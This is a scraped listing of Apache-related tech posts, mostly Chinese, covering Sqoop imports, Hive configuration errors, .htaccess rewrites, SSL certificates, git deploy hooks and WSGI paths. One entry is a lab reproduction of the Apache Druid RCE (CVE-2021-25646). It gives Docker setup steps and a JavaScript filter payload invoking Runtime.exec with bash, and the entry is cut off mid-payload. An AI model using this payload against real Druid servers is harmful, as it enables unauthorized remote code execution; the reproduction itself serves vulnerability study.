apache

sqoop 从mysql 导入数据到hbase

不羁的心 提交于 2021-02-05 20:25:47
环境: 软件 版本 备注 Ubuntu 19.10 sqoop 1.4.7 mysql 8.0.20-0ubuntu0.19.10.1 (Ubuntu) hbase 2.2.4 必须启动 hadoop 3.1.2 必须启动 hive 3.0.0 之所以和hive有关系是因为需要在.bashrc中设置HCAT_HOME accumulo 2.0.0 需要配合sqoop在.bashrc中设置ACCUMULO_HOMT 数据导入目标: mysql数据------------->Hbase ############################################################################## 准备MYSQL数据集: mysql> create database sqoop_hbase; mysql> use sqoop_hbase; mysql> CREATE TABLE book( -> id INT(4) PRIMARY KEY NOT NULL AUTO_INCREMENT, -> NAME VARCHAR(255) NOT NULL, -> price VARCHAR(255) NOT NULL); 插入数据集 mysql> INSERT INTO book(NAME, price) VALUES('Lie Sporting',

sqoop 报 Could not load org.apache.hadoop.hive.conf.HiveConf. Make sure HIVE_CONF_DIR 解决方法

杀马特。学长 韩版系。学妹 提交于 2021-02-05 19:30:29
Sqoop导入mysql表中的数据到hive,出现如下错误: ERROR hive.HiveConfig: Could not load org.apache.hadoop.hive.conf.HiveConf. Make sure HIVE_CONF_DIR is set correctly. 方法1: 解决方法: 往/etc/profile最后加入 export HADOOP_CLASSPATH=$HADOOP_CLASSPATH:$HIVE_HOME/lib/* 然后刷新配置,source /etc/profile 方法2: 将hive 里面的lib下的hive-exec-**.jar 放到sqoop 的lib 下可以解决以下问题。 来源: oschina 链接: https://my.oschina.net/xiaominmin/blog/4947382

Apache Druid RCE(CVE-2021-25646)复现

一个人想着一个人 提交于 2021-02-05 17:02:35
漏洞概述 Apache Druid 是用Java编写的面向列的开源分布式数据存储,旨在快速获取大量事件数据,并在数据之上提供低延迟查询。 Apache Druid 默认情况下缺乏授权认证,攻击者可以发送特制请求,利用Druid服务器上进程的特权执行任意代码。 影响版本 Apache Druid < 0.20.1 环境搭建 这里使用docker来搭建 拉取镜像并启动 Apache Druid:0.16.0 版本的环境 docker pull fokkodriesprong/docker-druid docker run --rm -i -p 8888:8888 fokkodriesprong/docker-druid 访问your-ip:8888即可看到页面 漏洞复现 点击Load data -> Local disk 依次填入 Base directory: quickstart/tutorial/ File filter: wikiticker-2015-09-12-sampled.json.gz 默认next 到filter项 抓包修改filter为 { "type":"javascript", "function":"function(value){return java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash

How to use .htaccess for beautiful links [duplicate]

て烟熏妆下的殇ゞ 提交于 2021-02-05 12:28:03
问题 This question already has answers here : Closed 8 years ago . Possible Duplicate: .htacces to create friendly URLs. Help needed I am using ids to display the records (profiles ) of members. So /profile.php?id=1 displays the data of member with id 1. But these urls are ugly and not SEO friendly either. I want change the urls to the format profiles/membername (membername is a unique alias for each member already stored in the db). How can I achieve this link structure through .htaccess? 回答1:

SSL on Apache HTTP Server

醉酒当歌 提交于 2021-02-05 11:30:41
问题 I have 2 crt files for Apache server: 1_root_bundle.crt 2_my_domain_name.com.crt And other bundle: 1_Intermediate.crt 2_my_domain_name.com.crt root.crt I have modified /etc/apache2/sites-available/default-ssl.conf And tried various combinations of above mentioned files but after Apache2 service restart SSL does not work, browser shows "Connection is not secure": SSLEngine on SSLCertificateFile /etc/apache2/ssl/1_Intermediate.crt SSLCertificateKeyFile /etc/apache2/ssl/2_my_domain_name.com.crt

SSL on Apache HTTP Server

半城伤御伤魂 提交于 2021-02-05 11:29:53
问题 I have 2 crt files for Apache server: 1_root_bundle.crt 2_my_domain_name.com.crt And other bundle: 1_Intermediate.crt 2_my_domain_name.com.crt root.crt I have modified /etc/apache2/sites-available/default-ssl.conf And tried various combinations of above mentioned files but after Apache2 service restart SSL does not work, browser shows "Connection is not secure": SSLEngine on SSLCertificateFile /etc/apache2/ssl/1_Intermediate.crt SSLCertificateKeyFile /etc/apache2/ssl/2_my_domain_name.com.crt

Update Apache Server with Git Pull

让人想犯罪 __ 提交于 2021-02-05 11:15:11
问题 My current set up is as follows: I have a laptop in which I like to write my website's code I have a raspberry pi running Apache which will serve my website's code as long as it is in /var/www/html I have clone a repository of my website onto the raspberry pi in Directory A. I want to create a git hook so that when I pull my code the code updates in /var/www/html I have tried creating both a post-merge and post-receive hook using the following code: #!/bin/bash git --work-tree=/var/www/html -

Order of RewriteRules in an htaccess file

做~自己de王妃 提交于 2021-02-05 08:49:27
问题 In an htaccess file, is it necessary that the rewrite rules follow an order? Like, long ones first and shorter ones last or something like that? Or, is it ok to put them in any order. I only have a few rules like the ones below (some 20), but it's all a big mess. RewriteRule ^/?(backend)/(users)/(new|blocked)/([a-z0-9]+)/?$ /blah/users/index.php?type=$2&case=$3&offset=$4 [NC,L] 回答1: Ordering of rewrite rules is very important in .htaccess . You need to put most specific ones at the top and

How should I add WSGIPython path in VirtualHost for Windows server?

风流意气都作罢 提交于 2021-02-05 08:29:45
问题 I am trying to add WSGIPythonPath in VirtualHost but it's throwing me an error: Syntax error on line 549 of /etc/httpd/conf/httpd.conf: WSGIPythonPath cannot occur within section I tried to resolve it by following: Where should WSGIPythonPath point in my virtualenv? But, on researching more, I found that WSGIDaemonProcess and WSGIProcessGroup are not supported on Windows according to Why WSGIDaemonProcess isn't available on Windows?. So, How should I add WSGIPythonPath and where so that I can

While apachectl start getting open shared object file

為{幸葍}努か 提交于 2021-02-05 08:10:45
问题 I try to install apache webserver using tar file. So, I have download httpd-2.4.tar file and extract. then, I try to install 1. ./configure --prefix=/usr/local/apache but, throw, this error configure: error: APR not found. Please read the documentation. configure: error: pcre-config for libpcre not found. PCRE is required and available from http://pcre.org/ so, follow this link and fix this issue1 and issue2 Then, run following command: 1. $./configure \ --with-included-apr \ --with-pcre=/usr